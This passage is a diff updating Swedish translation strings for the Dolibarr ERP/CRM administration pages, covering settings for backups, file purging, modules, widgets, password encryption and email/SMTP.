+ErrorModuleRequirePHPVersion=Fel, denna modul kräver PHP-version %s eller högre +ErrorModuleRequireDolibarrVersion=Fel, denna modul kräver Dolibarr-version %s eller högre ErrorDecimalLargerThanAreForbidden=Fel, en precision högre än %s stöds inte. -DictionarySetup=Lexikon inställnings -Dictionary=Ordlista +DictionarySetup=Inställningar för ordlista +Dictionary=Ordlistor ErrorReservedTypeSystemSystemAuto=Värdena "system" och "systemauto" för typ är reserverade. Du kan använda "user" som värde för att lägga till en egen post. ErrorCodeCantContainZero=Kod får inte innehålla värdet 0 DisableJavascript=Inaktivera JavaScript och Ajax funktioner -DisableJavascriptNote=Obs! För test eller debug-syfte. För optimering för blinda eller textbläsare kan du föredra att använda inställningen på användarens profil -UseSearchToSelectCompanyTooltip=Även om du har ett stort antal tredje parter (> 100 000), kan du öka hastigheten genom att sätta konstant COMPANY_DONOTSEARCH_ANYWHERE till 1 i Setup-> Övrigt. Sökningen kommer då att begränsas till start av strängen. -UseSearchToSelectContactTooltip=Även om du har ett stort antal tredje parter (> 100 000), kan du öka hastigheten genom att sätta konstant CONTACT_DONOTSEARCH_ANYWHERE till 1 i Setup-> Övrigt. Sökningen kommer då att begränsas till start av strängen. -DelaiedFullListToSelectCompany=Vänta tills en tangent trycks innan du laddar innehållet i kombinationslistan från tredje part.
      Detta kan öka prestanda om du har ett stort antal tredje parter, men det är mindre bekvämt. -DelaiedFullListToSelectContact=Vänta tills en tangent trycks ned innan du laddar innehållet i kontaktlistan.
      Detta kan öka prestandan om du har ett stort antal kontakter, men det är mindre bekvämt. +DisableJavascriptNote=Obs! För test eller debug-syfte. Optimering för synskadade eller textwebbläsare kan du göra via inställningen på användarens profil +UseSearchToSelectCompanyTooltip=Även om du har ett stort antal tredjeparter (> 100 000) kan du öka hastigheten genom att sätta konstant COMPANY_DONOTSEARCH_ANYWHERE till 1 i Setup-> Övrigt. Sökningen kommer då att begränsas till start av strängen. +UseSearchToSelectContactTooltip=Även om du har ett stort antal tredjeparter (> 100 000) kan du öka hastigheten genom att sätta konstant CONTACT_DONOTSEARCH_ANYWHERE till 1 i Setup-> Övrigt. Sökningen kommer då att begränsas till start av strängen. +DelaiedFullListToSelectCompany=Vänta tills en tangent trycks ner innan du laddar innehållet i kombinationslistan från tredjepart.
      Detta kan öka prestanda om du har ett stort antal tredje parter, men det är mindre bekvämt. +DelaiedFullListToSelectContact=Vänta tills en tangent trycks ner innan du laddar innehållet i kontaktlistan.
      Detta kan öka prestandan om du har ett stort antal kontakter, men det är mindre bekvämt. NumberOfKeyToSearch=Antal tecken som ska utlösa sökning: %s NumberOfBytes=Antal byte SearchString=Söksträng -NotAvailableWhenAjaxDisabled=Inte tillgänglig när Ajax funktionshindrade -AllowToSelectProjectFromOtherCompany=På tredje parts dokument kan du välja ett projekt kopplat till en annan tredje part +NotAvailableWhenAjaxDisabled=Inte tillgänglig när Ajax är inaktiverad +AllowToSelectProjectFromOtherCompany=I tredjeparts dokument kan du välja ett projekt kopplat till en annan tredjepart TimesheetPreventAfterFollowingMonths=Förhindra tidsregistrering efter antal månader -JavascriptDisabled=JavaScript funktionshindrade -UsePreviewTabs=Använd förhandsgranska flikar +JavascriptDisabled=JavaScript inaktiverad +UsePreviewTabs=Använd flik för förhandsgranskning ShowPreview=Visa förhandsgranskning -ShowHideDetails=Visa-dölj detaljer -PreviewNotAvailable=Förhandsgranska inte tillgänglig -ThemeCurrentlyActive=Tema för tillfället -MySQLTimeZone=Timezone MySql (databas) +ShowHideDetails=Visa/dölj detaljer +PreviewNotAvailable=Förhandsgranskning inte tillgänglig +ThemeCurrentlyActive=Aktivt tema +MySQLTimeZone=Tidszon MySql (databas) TZHasNoEffect=Datum lagras och returneras av databaseserver som om de behölls som inlämnade strängar. Tidszonen har endast effekt när UNIX_TIMESTAMP-funktionen används (som inte ska användas av Dolibarr, så databasen TZ skulle inte ha någon effekt, även om den ändrats efter att data hade angetts). -Space=Space +Space=Mellanslag Table=Tabell Fields=Fält Index=Index Mask=Mask NextValue=Nästa värde NextValueForInvoices=Nästa värde (fakturor) -NextValueForCreditNotes=Nästa värde (kreditnotor) +NextValueForCreditNotes=Nästa värde (kreditfakturor) NextValueForDeposit=Nästa värde (förskottsbetalning) NextValueForReplacements=Nästa värde (ersättare) MustBeLowerThanPHPLimit=Obs: din PHP-konfiguration begränsar för närvarande den maximala filstorleken för uppladdning till %s %s, oavsett värdet på denna parameter -NoMaxSizeByPHPLimit=Obs: Ingen gräns som anges i din PHP konfiguration -MaxSizeForUploadedFiles=Maximala storleken för uppladdade filer (0 att förkasta varje uppladdning) -UseCaptchaCode=Använd grafisk kod (CAPTCHA) på inloggningssidan och publika sidor -AntiVirusCommand=Fullständiga sökvägen till antivirus kommandot -AntiVirusCommandExample=Exempel för ClamAv Daemon (kräver clamav-daemon): / usr / bin / clamdscan
      Exempel på ClamWin (väldigt långsamt): c: \\ Progra ~ 1 \\ ClamWin \\ bin \\ clamscan.exe +NoMaxSizeByPHPLimit=Obs: Ingen gräns som anges i din PHP-konfiguration +MaxSizeForUploadedFiles=Maximala storleken för uppladdade filer (0 att inte tillåta uppladdning) +UseCaptchaCode=Använd grafisk kod (CAPTCHA) på inloggningssidan och vissa publika sidor +AntiVirusCommand=Fullständig sökväg till antivirus- kommando +AntiVirusCommandExample=Exempelvis för ClamAv Daemon (kräver clamav-daemon): /usr/bin/clamdscan
      Exempel för ClamWin (väldigt långsamt): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= Fler parametrar på kommandoraden -AntiVirusParamExample=Exempel för ClamAv Daemon: --fdpass
      Exempel för ClamWin: --database = "C: \\ Program Files (x86) \\ ClamWin \\ lib" -ComptaSetup=Redovisning modul inställning -UserSetup=Användarens hantering inställning -MultiCurrencySetup=Multi-valuta inställning -MenuLimits=Gränser och noggrannhet -MenuIdParent=Överordnade menyn ID -DetailMenuIdParent=ID överordnade menyn (0 för en toppmenyn) -ParentID=Förälder-ID -DetailPosition=Sortera nummer att definiera menyposition +AntiVirusParamExample=Exempel för ClamAv Daemon: --fdpass
      Exempel för ClamWin: --database = "C:\\Program Files (x86)\\ClamWin\\lib" +ComptaSetup=Modulinställning bokföring +UserSetup=Användarhantering +MultiCurrencySetup=Inställning för flera valutor +MenuLimits=Begränsningar och noggrannhet +MenuIdParent=Överordnad meny-ID +DetailMenuIdParent=ID på överordnad meny (lämna tomt för en toppmeny) +ParentID=Överordnad-ID +DetailPosition=Sortera numeriskt för att ange menyposition AllMenus=Alla -NotConfigured=Modul/Applikation är inte konfigurerad +NotConfigured=Modul/applikation är inte konfigurerad Active=Aktiv -SetupShort=Inställning +SetupShort=Inställningar OtherOptions=Andra alternativ OtherSetup=Annan inställning -CurrentValueSeparatorDecimal=Decimaltecken +CurrentValueSeparatorDecimal=Decimalavgränsare CurrentValueSeparatorThousand=Tusentalsavgränsare Destination=Destination IdModule=Modul ID -IdPermissions=Behörighet ID +IdPermissions=Rättighets-ID LanguageBrowserParameter=Parameter %s -LocalisationDolibarrParameters=Lokaliseringsparametrar -ClientHour=Kund tid (användare) +LocalisationDolibarrParameters=Lokalisering +ClientHour=Kundtid (användare) OSTZ=Server OS tidszon -PHPTZ=Tidszon PHP server -DaylingSavingTime=Sommartid (användare) -CurrentHour=PHP Tid (server) +PHPTZ=Tidszon PHP-server +DaylingSavingTime=Sommartid +CurrentHour=PHP-tid (server) CurrentSessionTimeOut=Aktuell session timeout -YouCanEditPHPTZ=Om du vill ställa in en annan PHP-tidszon (krävs inte) kan du försöka lägga till en .htaccess-fil med en rad som denna "SetEnv TZ Europe / Paris" -HoursOnThisPageAreOnServerTZ=Varning, i motsats till andra skärmar, är timmarna på den här sidan inte i din lokala tidszon, utan i tidsserveren på servern. +YouCanEditPHPTZ=För att ange en annan PHP-tidszon (krävs inte) kan du försöka lägga till en .htaccess-fil med en rad som denna "SetEnv TZ Europe/Paris" +HoursOnThisPageAreOnServerTZ=Varning, i motsats till andra skärmar, är tiden på den här sidan inte i din lokala tidszon, utan i tidsserveren på servern. Box=Widget -Boxes=Widgets -MaxNbOfLinesForBoxes=Max. antal rader för widgets -AllWidgetsWereEnabled=Alla tillgängliga widgets är aktiverade -PositionByDefault=Standard för +Boxes=Widgetar +MaxNbOfLinesForBoxes=Max antal rader för widgetar +AllWidgetsWereEnabled=Alla tillgängliga widgetar är aktiverade +WidgetAvailable=Widget available +PositionByDefault=Standardsortering Position=Position -MenusDesc=Menyfunktioner ställer in innehållet i de två menyerna (horisontellt och vertikalt). -MenusEditorDesc=Menyredigeraren låter dig definiera egna menyposter. Använd den försiktigt för att undvika instabilitet och permanent otillgängliga menyposter.
      Vissa moduler lägger till menyposter (i menyn Alla mestadels). Om du av misstag tar bort några av dessa poster kan du återställa dem genom att inaktivera och återaktivera modulen. +MenusDesc=Menyhanterare ställer in innehållet i de två menyerna (horisontellt och vertikalt). +MenusEditorDesc=Menyeditorn låter dig ange egna menyposter. Använd den med försiktighet för att undvika instabilitet och permanent otillgängliga menyposter.
      Vissa moduler lägger till menyposter (i menyn Alla mestadels). Om du av misstag tar bort några av dessa poster kan du återställa dem genom att inaktivera och återaktivera modulen. MenuForUsers=Meny för användare -LangFile=Fil. Lang -Language_en_US_es_MX_etc=Språk (en_US, es_MX, ...) +LangFile=.lang-fil +Language_en_US_es_MX_etc=Språk (sv_SE, en_US, ...) System=System SystemInfo=Systeminformation -SystemToolsArea=Systemverktyg område +SystemToolsArea=Verktygsområde SystemToolsAreaDesc=Detta område ger administrationsfunktioner. Använd menyn för att välja önskad funktion. Purge=Rensa -PurgeAreaDesc=På den här sidan kan du radera alla filer som genereras eller lagras av Dolibarr (temporära filer eller alla filer i %s katalog). Att använda den här funktionen är normalt inte nödvändig. Den tillhandahålls som en lösning för användare vars Dolibarr är värd av en leverantör som inte erbjuder behörigheter för att radera filer som genereras av webbservern. +PurgeAreaDesc=På den här sidan kan du radera alla filer som genereras eller lagras av Dolibarr (temporära filer eller alla filer i %s katalog). Att använda den här funktionen är normalt inte nödvändigt. Den tillhandahålls som en lösning för användare vars värd är en leverantör som inte erbjuder rättigheter för att radera filer som genereras av webbservern. PurgeDeleteLogFile=Ta bort loggfiler, inklusive %s definierad för Syslog-modulen (ingen risk att förlora data) PurgeDeleteTemporaryFiles=Ta bort alla loggfiler och tillfälliga filer (ingen risk att förlora data). Parametern kan vara 'tempfilesold', 'logfiles' eller båda 'tempfilesold + logfiles'. Obs! Radering av tillfälliga filer görs endast om temp-katalogen skapades för mer än 24 timmar sedan. PurgeDeleteTemporaryFilesShort=Ta bort loggar och temporära filer (Ingen risk att förlora data) -PurgeDeleteAllFilesInDocumentsDir=Ta bort alla filer i katalogen: %s .
      Detta tar bort alla genererade dokument relaterade till elementer (tredje part, fakturor etc ...), filer som laddas upp i ECM-modulen, databassäkerhetskopior och tillfälliga filer. +PurgeDeleteAllFilesInDocumentsDir=Ta bort alla filer i katalogen: %s .
      Detta tar bort alla genererade dokument relaterade till element (tredjepart, fakturor etc ...), filer som laddas upp i ECM-modulen, databassäkerhetskopior och tillfälliga filer. PurgeRunNow=Rensa nu PurgeNothingToDelete=Ingen katalog eller filer att radera. -PurgeNDirectoriesDeleted=%s filer eller kataloger bort. -PurgeNDirectoriesFailed=Misslyckades med att ta bort %s filer eller kataloger. -PurgeAuditEvents=Rensa alla evenemang -ConfirmPurgeAuditEvents=Är du säker på att du vill rensa alla säkerhetshändelser? Alla säkerhetsloggar tas bort, inga andra data kommer att tas bort. -GenerateBackup=Skapa backup -Backup=Backup +PurgeNDirectoriesDeleted=%s filer eller kataloger raderades. +PurgeNDirectoriesFailed=Misslyckades med att radera %s filer eller kataloger. +PurgeAuditEvents=Rensa alla säkerhetsevent +ConfirmPurgeAuditEvents=Är du säker på att du vill rensa alla säkerhetsevent? Alla säkerhetsloggar tas bort, ingen annan data kommer att tas bort. +GenerateBackup=Skapa säkerhetskopia +Backup=Säkerhetskopia Restore=Återställ -RunCommandSummary=Backup kommer att ske genom följande kommando -BackupResult=Backup resultat -BackupFileSuccessfullyCreated=Backup fil framgångsrikt genereras -YouCanDownloadBackupFile=Den genererade filen kan nu laddas ner -NoBackupFileAvailable=Ingen backup filer tillgängliga. -ExportMethod=Export metod -ImportMethod=Import metoden -ToBuildBackupFileClickHere=Att bygga en backup fil, klicka här . +RunCommandSummary=Säkerhetskopiering har startats med följande kommando +BackupResult=Resultat av säkerhetskopia +BackupFileSuccessfullyCreated=Säkerhetskopiering har genomförts +YouCanDownloadBackupFile=Säkerhetskopian kan nu laddas ner +NoBackupFileAvailable=Ingen säkerhetskopior tillgängliga. +ExportMethod=Exportsätt +ImportMethod=Importsätt +ToBuildBackupFileClickHere=För att skapa en säkerhetskopia klickar du här. ImportMySqlDesc=För att importera en MySQL-säkerhetskopieringsfil kan du använda phpMyAdmin via din värd eller använda kommandot mysql från kommandoraden.
      Till exempel: -ImportPostgreSqlDesc=Om du vill importera en backup fil måste du använda pg_restore kommando från kommandoraden: +ImportPostgreSqlDesc=Om du vill importera en säkerhetskopia måste du använda pg_restore kommandot från kommandoraden: ImportMySqlCommand=%s %s < mybackupfile.sql ImportPostgreSqlCommand=%s %s mybackupfile.sql -FileNameToGenerate=Filnamn för säkerhetskopiering: +FileNameToGenerate=Filnamn för säkerhetskopia: Compression=Komprimering -CommandsToDisableForeignKeysForImport=Kommando för att stänga av främmande nycklar vid import -CommandsToDisableForeignKeysForImportWarning=Obligatoriskt om du vill kunna återställa din sql-dump vid ett senare tillfälle -ExportCompatibility=Förenlighet genererade exportfil +CommandsToDisableForeignKeysForImport=Kommando för att inaktivera främmande nycklar vid import +CommandsToDisableForeignKeysForImportWarning=Obligatoriskt om du vill kunna återställa din databaskopia vid ett senare tillfälle +ExportCompatibility=Kompabilitet på skapad exportfil ExportUseMySQLQuickParameter=Använd parametern --quick ExportUseMySQLQuickParameterHelp=Parametern '--quick' hjälper till att begränsa RAM-förbrukningen för stora tabeller. -MySqlExportParameters=MySQL export parametrar +MySqlExportParameters=MySQL exportparametrar PostgreSqlExportParameters= PostgreSQL exportparametrar -UseTransactionnalMode=Använd affärsbeslut läge +UseTransactionnalMode=Använd läget transacional FullPathToMysqldumpCommand=Fullständiga sökvägen till mysqldump kommandot -FullPathToPostgreSQLdumpCommand=Hela sökvägen till pg_dump kommandot -AddDropDatabase=Lägg DROP DATABASE-kommandot -AddDropTable=Lägg DROP TABLE kommandot +FullPathToPostgreSQLdumpCommand=Fullständiga sökvägen till pg_dump kommandot +AddDropDatabase=Lägg kommandot DROP DATABASE +AddDropTable=Lägg till kommandot DROP TABLE ExportStructure=Struktur -NameColumn=Namn kolumner +NameColumn=Namn-kolumner ExtendedInsert=Utökade INSERT -NoLockBeforeInsert=Inga lås kommandon runt INSERT -DelayedInsert=Fördröjd in +NoLockBeforeInsert=Inga låskommandon runt INSERT +DelayedInsert=Fördröjd infogning EncodeBinariesInHexa=Koda binära data i hexadecimal IgnoreDuplicateRecords=Ignorera fel på dubbla poster (INSERT IGNORE) -AutoDetectLang=Autodetektera (webbläsare språk) -FeatureDisabledInDemo=Funktion avstängd i demo +AutoDetectLang=Autodetektera (webbläsarens språk) +FeatureDisabledInDemo=Funktionen inaktiverad i demo FeatureAvailableOnlyOnStable=Funktionen är endast tillgänglig på officiella stabila versioner -BoxesDesc=Widgets är komponenter som visar lite information som du kan lägga till för att anpassa vissa sidor. Du kan välja mellan att visa widgeten eller inte, genom att välja målsida och klicka på "Aktivera", eller genom att klicka på papperskorgen för att inaktivera den. +BoxesDesc=Widgets är komponenter som visar information som du kan lägga till för att anpassa vissa sidor. Du kan välja mellan att visa widgeten eller inte, genom att välja målsida och klicka på "Aktivera", eller genom att klicka på papperskorgen för att inaktivera den. OnlyActiveElementsAreShown=Endast delar av aktiverade moduler visas. -ModulesDesc=Modulerna / applikationerna avgör vilka funktioner som finns i programvaran. Vissa moduler kräver behörighet för användare efter att ha aktiverat modulen. Klicka på på / av-knappen %s för varje modul för att aktivera eller inaktivera en modul / applikation. -ModulesDesc2=Klicka på hjulknappen %s för att konfigurera modulen / applikationen. -ModulesMarketPlaceDesc=Du kan hitta fler moduler att ladda ner på externa webbplatser på Internet ... +ModulesDesc=Modulerna/applikationerna avgör vilka funktioner som finns i programvaran. Vissa moduler kräver behörighet för användare efter att ha aktiverat modulen. Klicka på av/på-knappen %s för varje modul för att aktivera eller inaktivera en modul/applikation. +ModulesDesc2=Klicka på kugghjulet %s för att konfigurera modulen/applikationen. +ModulesMarketPlaceDesc=Du kan hitta fler moduler att ladda ner på olika webbplatser på Internet ... ModulesDeployDesc=Om behörigheter i ditt filsystem tillåter det kan du använda det här verktyget för att distribuera en extern modul. Modulen kommer då att visas på fliken %s . -ModulesMarketPlaces=Hitta externa app / moduler -ModulesDevelopYourModule=Utveckla din egen app / moduler +ModulesMarketPlaces=Hitta app/moduler +ModulesDevelopYourModule=Skapa din egen app/modul ModulesDevelopDesc=Du kan också utveckla din egen modul eller hitta en partner för att utveckla en för dig. -DOLISTOREdescriptionLong=I stället för att starta www.dolistore.com webbplats för att hitta en extern modul, kan du använda det här inbäddade verktyget som ska utföra sökningen på den externa marknaden för dig (kan vara långsam, behöver en internetåtkomst) ... +DOLISTOREdescriptionLong=I stället för att gå till www.dolistore.com för att hitta moduler, kan du använda det här inbäddade verktyget som utför sökningen direkt på DoliStore. NewModule=Ny modul FreeModule=Gratis CompatibleUpTo=Kompatibel med version %s NotCompatible=Den här modulen verkar inte vara kompatibel med din Dolibarr %s (Min %s - Max %s). CompatibleAfterUpdate=Den här modulen kräver en uppdatering av din Dolibarr %s (Min %s - Max %s). -SeeInMarkerPlace=Se på marknaden -SeeSetupOfModule=Se installation av modul %s -SetOptionTo=Sätt alternativ %s till %s +SeeInMarkerPlace=Visa på marknadsplatsen +SeeSetupOfModule=Visa inställning av modul %s +SetOptionTo=Ange alternativ %s till %s Updated=Uppdaterad -AchatTelechargement=Köp / Hämta -GoModuleSetupArea=För att distribuera / installera en ny modul, gå till modulens inställningsområde: %s . -DoliStoreDesc=DoliStore, den officiella marknadsplatsen för Dolibarr ERP / CRM externa moduler +AchatTelechargement=Köp/ladda ner +GoModuleSetupArea=För att starta/installera en ny modul går du till modulens inställningsområde: %s . +DoliStoreDesc=DoliStore är den officiella marknadsplatsen för Dolibarr ERP/CRM moduler DoliPartnersDesc=Lista över företag som tillhandahåller specialutvecklade moduler eller funktioner.
      Obs! Eftersom Dolibarr är ett program med öppen källkod bör någon med erfarenhet av PHP-programmering kunna utveckla en modul. -WebSiteDesc=Externa webbplatser för fler moduler utan tillägg... +WebSiteDesc=Externa webbplatser för fler moduler... DevelopYourModuleDesc=Några lösningar för att utveckla din egen modul ... URL=URL -RelativeURL=Relativ webbadress +RelativeURL=Relativ URL BoxesAvailable=Widgets tillgängliga BoxesActivated=Widgets aktiverade -ActivateOn=Aktivera på -ActiveOn=Aktiverad på -ActivatableOn=Aktiverbar på +ActivateOn=Aktivera den +ActiveOn=Aktiverad den +ActivatableOn=Aktiverbar den SourceFile=Källfil -AvailableOnlyIfJavascriptAndAjaxNotDisabled=Endast tillgängligt om JavaScript är inte oduglig +AvailableOnlyIfJavascriptAndAjaxNotDisabled=Endast tillgängligt om JavaScript inte är inaktiverat Required=Obligatorisk -UsedOnlyWithTypeOption=Används av en viss agenda alternativet +UsedOnlyWithTypeOption=Används av vissa dagordningsalernativ enbart Security=Säkerhet Passwords=Lösenord DoNotStoreClearPassword=Kryptera lösenord som är lagrade i databasen (INTE som vanlig text). Det rekommenderas starkt att aktivera det här alternativet. MainDbPasswordFileConfEncrypted=Kryptera databaslösenord som lagras i conf.php. Det rekommenderas starkt att aktivera det här alternativet. -InstrucToEncodePass=Att ha lösenord kodad i conf.php filen, ersätt raden
      $ Dolibarr_main_db_pass = "...";
      av
      $ Dolibarr_main_db_pass = "krypterad:%s"; -InstrucToClearPass=Att ha lösenord avkodas (klar) i conf.php filen, ersätt raden
      $ Dolibarr_main_db_pass = "krypterat: ...";
      av
      $ Dolibarr_main_db_pass = "%s"; -ProtectAndEncryptPdfFiles=Skydda genererade PDF-filer. Detta rekommenderas INTE eftersom det bryter massprodukten i PDF-format. -ProtectAndEncryptPdfFilesDesc=Skyddet av ett PDF-dokument håller det tillgängligt att läsa och skriva ut med en PDF-webbläsare. Redigering och kopiering är dock inte längre möjligt. Observera att användandet av den här funktionen gör det möjligt att bygga en global sammanslagen PDF-fil inte fungerar. -Feature=Huvudnummer +InstrucToEncodePass=Att ha lösenord kodad i conf.php filen, ersätt raden
      $dolibarr_main_db_pass = "...";
      med
      $dolibarr_main_db_pass = "crypted:%s"; +InstrucToClearPass=För att ha lösenord avkodade (läsbara) i conf.php-filen ersätter du raden
      $dolibarr_main_db_pass = "crypted: ...";
      med
      $dolibarr_main_db_pass = "%s"; +ProtectAndEncryptPdfFiles=Skydda genererade PDF-filer. Detta rekommenderas INTE eftersom det bryter bulkhantering av PDF:er. +ProtectAndEncryptPdfFilesDesc=Skyddet av ett PDF-dokument gör det möjligt att läsa och skriva ut i en PDF-läsare. Redigering och kopiering är dock inte längre möjlig. Observera att användandet av den här funktionen gör det omöjligt att använda globala sammanslagna PDF-filer. +Feature=Funktion DolibarrLicense=Licens -Developpers=Utvecklare / bidragsgivare +Developpers=Utvecklare/bidragsgivare OfficialWebSite=Dolibarrs officiella webbplats OfficialWebSiteLocal=Lokal webbplats (%s) -OfficialWiki=Dolibarr dokumentation / Wiki -OfficialDemo=Dolibarr online demo -OfficialMarketPlace=Officiella marknadsplats för externa moduler / addons -OfficialWebHostingService=Refererade webbhotell (Cloud hosting) -ReferencedPreferredPartners=Preferred Partners +OfficialWiki=Dolibarr dokumentation/Wiki +OfficialDemo=Dolibarr online-demo +OfficialMarketPlace=Officiella marknadsplats för moduler/tillägg +OfficialWebHostingService=Rekommenderade webbhotell (Cloud hosting) +ReferencedPreferredPartners=Föredragna partners OtherResources=Andra resurser ExternalResources=Externa resurser SocialNetworks=Sociala nätverk SocialNetworkId=Socialt nätverks-ID -ForDocumentationSeeWiki=For user or developer documentation (Doc, FAQs...),
      take a look at the Dolibarr Wiki:
      %s -ForAnswersSeeForum=For any other questions/help, you can use the Dolibarr forum:
      %s +ForDocumentationSeeWiki=För användar-/utvecklardokumentation (Doc, FAQs...),
      läs Dolibarr Wiki:
      %s +ForAnswersSeeForum=För andra frågor eller hjälp kan du använda Dolibarrs forum:
      %s HelpCenterDesc1=Här finns några resurser för att få hjälp och support med Dolibarr. -HelpCenterDesc2=Några av dessa resurser finns endast i engelska . -CurrentMenuHandler=Aktuell meny handler -MeasuringUnit=Mätenhet +HelpCenterDesc2=Några av dessa resurser finns endast på engelska. +CurrentMenuHandler=Aktuell menyhanterare +MeasuringUnit=Måttenhet LeftMargin=Vänster marginal TopMargin=Toppmarginal PaperSize=Papperstyp Orientation=Orientering -SpaceX=Utrymme x -SpaceY=Rymlig +SpaceX=Mellanrum X +SpaceY=Mellanrum Y FontSize=Textstorlek Content=Innehåll -ContentForLines=Content to display for each product or service (from variable __LINES__ of Content) +ContentForLines=Innehåll att visa för varje produkt eller tjänst (från variabeln __LINES__ innehåll) NoticePeriod=Uppsägningstid -NewByMonth=Ny i månaden +NewByMonth=Ny per månad Emails=E-post EMailsSetup=E-postinställningar -EMailsDesc=På den här sidan kan du ställa in parametrar eller alternativ för att skicka e-post. -EmailSenderProfiles=E-postmeddelanden skickar profiler -EMailsSenderProfileDesc=Du kan hålla det här avsnittet tomt. Om du anger några e-postmeddelanden här kommer de att läggas till i listan över möjliga avsändare i kombinationsrutan när du skriver ett nytt e-postmeddelande. -MAIN_MAIL_SMTP_PORT=SMTP / SMTPS-porten (standardvärde i php.ini: %s ) -MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS-värd (standardvärde i php.ini: %s ) -MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPS-port (Ej definierad i PHP på Unix-liknande system) -MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPS-värd (Ej definierad i PHP på Unix-liknande system) -MAIN_MAIL_EMAIL_FROM=Avsändar-e-post för automatiska e-postmeddelanden (standardvärde i php.ini: %s ) -MAIN_MAIL_ERRORS_TO=E-post används för att returnera e-postmeddelanden (fält "Fel-Till" i skickade e-postmeddelanden) -MAIN_MAIL_AUTOCOPY_TO= Kopiera (Bcc) alla skickade e-postmeddelanden till -MAIN_DISABLE_ALL_MAILS=Inaktivera all e-postsändning (för teständamål eller demo) -MAIN_MAIL_FORCE_SENDTO=Skicka alla e-postmeddelanden till (i stället för riktiga mottagare, för teständamål) -MAIN_MAIL_ENABLED_USER_DEST_SELECT=Föreslå e-postmeddelanden från anställda (om de är definierade) i listan över fördefinierade mottagare när du skriver ett nytt e-postmeddelande -MAIN_MAIL_SENDMODE=E-postsändningsmetod -MAIN_MAIL_SMTPS_ID=SMTP-ID (om sändning av server kräver autentisering) -MAIN_MAIL_SMTPS_PW=SMTP-lösenord (om sändning av server kräver autentisering) -MAIN_MAIL_EMAIL_TLS=Använd kryptering av TLS (SSL) +EMailsDesc=På den här sidan kan du ställa in parametrar eller alternativ för e-post. +EmailSenderProfiles=Avsändarprofiler för e-post +EMailsSenderProfileDesc=Du kan hålla denna sektion tom. Om du anger e-postadresser här kommer de att läggas till i listan över möjliga avsändare i kombinationsrutan när du skriver ett nytt e-postmeddelande. +MAIN_MAIL_SMTP_PORT=SMTP/SMTPS-porten (standardvärde i php.ini: %s) +MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS-värd (standardvärde i php.ini: %s) +MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS-port (inte angiven i PHP på Unix-liknande system) +MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS-värd (inte angiven i PHP på Unix-liknande system) +MAIN_MAIL_EMAIL_FROM=E-postadress som avsändare vid automatiska meddelanden (standardvärde i php.ini: %s) +EMailHelpMsgSPFDKIM=För att förhindra att automatiska meddelanden klassas som skräppost, se till att servern är auktoriserad att skicka e-post från denna adress med SPF- och DKIM-konfiguration +MAIN_MAIL_ERRORS_TO=E-post som används som retur vid felaktiga e-postmeddelanden (fält "Error-To" i skickad e-post) +MAIN_MAIL_AUTOCOPY_TO= Hemlig kopia (Bcc) för all e-post till +MAIN_DISABLE_ALL_MAILS=Inaktivera all e-post (för teständamål eller demo) +MAIN_MAIL_FORCE_SENDTO=Skicka all e-post till (i stället för riktiga mottagare, för teständamål) +MAIN_MAIL_ENABLED_USER_DEST_SELECT=Föreslå e-post från anställda (om de är angivna) i listan över fördefinierade mottagare när du skriver ett nytt meddelande +MAIN_MAIL_SENDMODE=Metod för sändning av e-post +MAIN_MAIL_SMTPS_ID=SMTP-ID (om sändning kräver autentisering) +MAIN_MAIL_SMTPS_PW=SMTP-lösenord (om sändning kräver autentisering) +MAIN_MAIL_EMAIL_TLS=Använd TLS (SSL) kryptering MAIN_MAIL_EMAIL_STARTTLS=Använd TLS (STARTTLS) kryptering MAIN_MAIL_EMAIL_SMTP_ALLOW_SELF_SIGNED=Auktorisera automatiska signaturer -MAIN_MAIL_EMAIL_DKIM_ENABLED=Använd DKIM för att skapa e-signatur -MAIN_MAIL_EMAIL_DKIM_DOMAIN=E-post domän för användning med dkim -MAIN_MAIL_EMAIL_DKIM_SELECTOR=Namn på dkim-väljaren -MAIN_MAIL_EMAIL_DKIM_PRIVATE_KEY=Privat nyckel för dkim signering -MAIN_DISABLE_ALL_SMS=Inaktivera all sms-sändning (för teständamål eller demo) +MAIN_MAIL_EMAIL_DKIM_ENABLED=Använd DKIM för att skapa e-postsignatur +MAIN_MAIL_EMAIL_DKIM_DOMAIN=E-postdomän för användning med DKIM +MAIN_MAIL_EMAIL_DKIM_SELECTOR=Namn på DKIM-väljaren +MAIN_MAIL_EMAIL_DKIM_PRIVATE_KEY=Privat nyckel för DKIM-signering +MAIN_DISABLE_ALL_SMS=Inaktivera all SMS-sändning (för teständamål eller demo) MAIN_SMS_SENDMODE=Metod som ska användas för att skicka SMS -MAIN_MAIL_SMS_FROM=Standard avsändarens telefonnummer för sms-sändning -MAIN_MAIL_DEFAULT_FROMTYPE=Standard avsändarmail för manuell sändning (användar e-post eller företags e-post) -UserEmail=Användar-e-post -CompanyEmail=Företagets Email -FeatureNotAvailableOnLinux=Funktionen inte finns på Unix-liknande system. Testa din sendmail program lokalt. -FixOnTransifex=Fixa översättningen på online-översättningsplattformen för projektet -SubmitTranslation=Om översättningen för detta språk inte är fullständigt eller du hittar fel kan du korrigera detta genom att redigera filer i katalogen langs / %s och skicka in din ändring till www.transifex.com/dolibarr-association/dolibarr/ -SubmitTranslationENUS=Om översättningen för detta språk inte är komplett eller om du hittar fel kan du korrigera detta genom att redigera filer i katalogen langs / %s och skicka ändrade filer på dolibarr.org/forum eller, om du är utvecklare, med en PR på github .com / Dolibarr / dolibarr -ModuleSetup=Modul inställning -ModulesSetup=Moduler / Programinställningar +MAIN_MAIL_SMS_FROM=Standard telefonnummer för avsändarens vid SMS +MAIN_MAIL_DEFAULT_FROMTYPE=Standard e-postadress för avsändaren vid manuell sändning +UserEmail=Användares e-postadress +CompanyEmail=Företagets e-postadress +FeatureNotAvailableOnLinux=Funktionen inte finns på Unix-liknande system. Testa sendmail lokalt. +FixOnTransifex=Lös översättningen på onlineplattformen för översättningar +SubmitTranslation=Om översättningen för detta språk inte är fullständig eller du hittar fel kan du korrigera detta genom att redigera filer i katalogen langs/%s och skicka in din ändring till www.transifex.com/dolibarr-association/dolibarr/ +SubmitTranslationENUS=Om översättningen för detta språk inte är komplett eller om du hittar fel kan du korrigera detta genom att 